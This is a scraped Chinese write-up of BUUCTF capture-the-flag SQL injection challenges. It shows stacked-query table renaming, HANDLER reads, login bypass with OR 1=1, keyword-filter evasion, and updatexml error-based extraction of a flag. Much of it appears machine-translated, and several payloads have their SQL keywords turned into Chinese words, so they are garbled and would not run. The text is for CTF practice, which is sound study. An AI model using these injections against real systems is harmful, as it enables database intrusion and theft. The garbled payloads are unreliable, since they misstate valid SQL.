buu刷题笔记之sql注入

技术buu刷题笔记之sql注入 buu刷题笔记之sql注入[强网杯 2019]随便注
第一种方法:堆叠注入
payload:1';or 1=1查看数据库:1';show databases;查看表名:1

buu画笔笔记的Sql注入。

[强网杯 2019]随便注

第一种方法:堆栈注入。

有效负载:1 ';或1=1

查看数据库:1”;显示数据库;

视图表名:1”;显示表格;

检查这两个表的列值:1 ';显示单词列;

1';显示来自` 1919810931114514 `的列

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦

payload:0 ';将表格单词重命名为单词1;将表` 1919810931114514 `重命名为words更改表字更改标志id varchar(100)CHARACTER SET utf8 COLLATE utf8 _ general _ ci NOT NULL;desc的话;#

再次使用初始操作id=1 '或1=1#。

方法二:处理程序。

1';handler ` 1919810931114514` open处理程序` 1919810931114514 `先读#

[极客大挑战 2019]LoveSQL

找到登录框,可能是密码登录。让我们试试:输入:

用户名:1 '或1=1#

密码:随意输入。

跳转到check.php页面并成功登录,并获得用户名和密码。尝试用md5解密密码,但失败。

然后是一系列常规的sql注入,我就不赘述了。

[极客大挑战 2019]BabySQL

与前一个问题类似,这个问题只过滤关键字和,select,or,from,union和where,可以用双写交叉。

下面的步骤是一样的,这里就不重复了。

[极客大挑战 2019]HardSQL

并且1=1#被截取。

经过测试,还有,或者,空格,=,等等。被封锁了。考虑其他方法,您可以使用extractvalue和updatexml进行错误注入。

空格和=符号会被检测到,所以我们应该用()代替空格,就像代替=符号一样,并且等于和。

分解库:负载:username=admin' updatexml (1,concat (0x7e,database()),1) # password=admin。

图表外:有效负载:username=admin' updatexml (1,concat (0x7e),(从(information _ schema.tables)中选择(group _ concat (table _ name)),其中(table _ schema)像(' geek ')),1) # password=admin。

有效负载:username=admin' updatexml (1,concat (0x7e),(从(information _ schema.columns)中选择(group _ concat (column _ name)),其中(table _ name)像(' h4rdsq1 ')),1) # password=admin。

有效载荷:username=admin' updatexml (1,concat (0x7e,(select (group _ concat (id,username,password)) from (h4rdsq1))),1) # password=admin。

发现不完整的显示:

补充知识点:

左()右()函数,

左(参数,长度),右(参数,长度)

LEFT和RIGHT函数返回ARG最左边和最右边的LENGTH字符串,可以是CHAR或BINARY STRING。

发现只能输出32位左右,我们让他从右向左输出30位,然后拼接。

payload:'^updatexml(1,concat(0x7e,(select(right((password),30))from(h4rdsq1)),0x7e),1)#

通过拼接获得标志。

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/36337.html

(0)

相关推荐

  • 如何使用VISIO中的UML图表达C++语言中抽象类或抽象方法

    技术如何使用VISIO中的UML图表达C++语言中抽象类或抽象方法这篇文章主要介绍“如何使用VISIO中的UML图表达C++语言中抽象类或抽象方法”,在日常操作中,相信很多人在如何使用VISIO中的UML图表达C++语言

    攻略 2021年11月29日
  • Nginx下请求本机另外Host很慢怎么办

    技术Nginx下请求本机另外Host很慢怎么办这篇文章给大家分享的是有关Nginx下请求本机另外Host很慢怎么办的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。现象在本机安装了一个Discuz

    攻略 2021年11月24日
  • 英文字母26个大小写,英语26个英文字母大小写怎样

    技术英文字母26个大小写,英语26个英文字母大小写怎样A a [ei] B b [bi:] C c [si:]D d [di:] E e [i:] F f [ef]
    G g [d3i:] H h [eit∫] I i [

    生活 2021年10月23日
  • 如何深入Tomcat源码分析Session

    技术如何深入Tomcat源码分析Session如何深入Tomcat源码分析Session,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。Session到底

    攻略 2021年12月8日
  • 种马后宫小说,你看过后宫最多的小说是哪一部

    技术种马后宫小说,你看过后宫最多的小说是哪一部说道这个种马后宫小说,我觉得最多的要数天堂不寂寞的《异界之风流大法师》了。这本书是一本西方魔法类的小说,讲述的是一个特种军人穿越到了异世一个纨绔二代的身上,并且刚附体就把帝国

    生活 2021年10月21日
  • 关于mysql的相关操作是怎样的

    技术关于mysql的相关操作是怎样的这篇文章将为大家详细讲解有关关于mysql的相关操作是怎样的,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。一、Mysql用户密码修改m

    攻略 2021年10月25日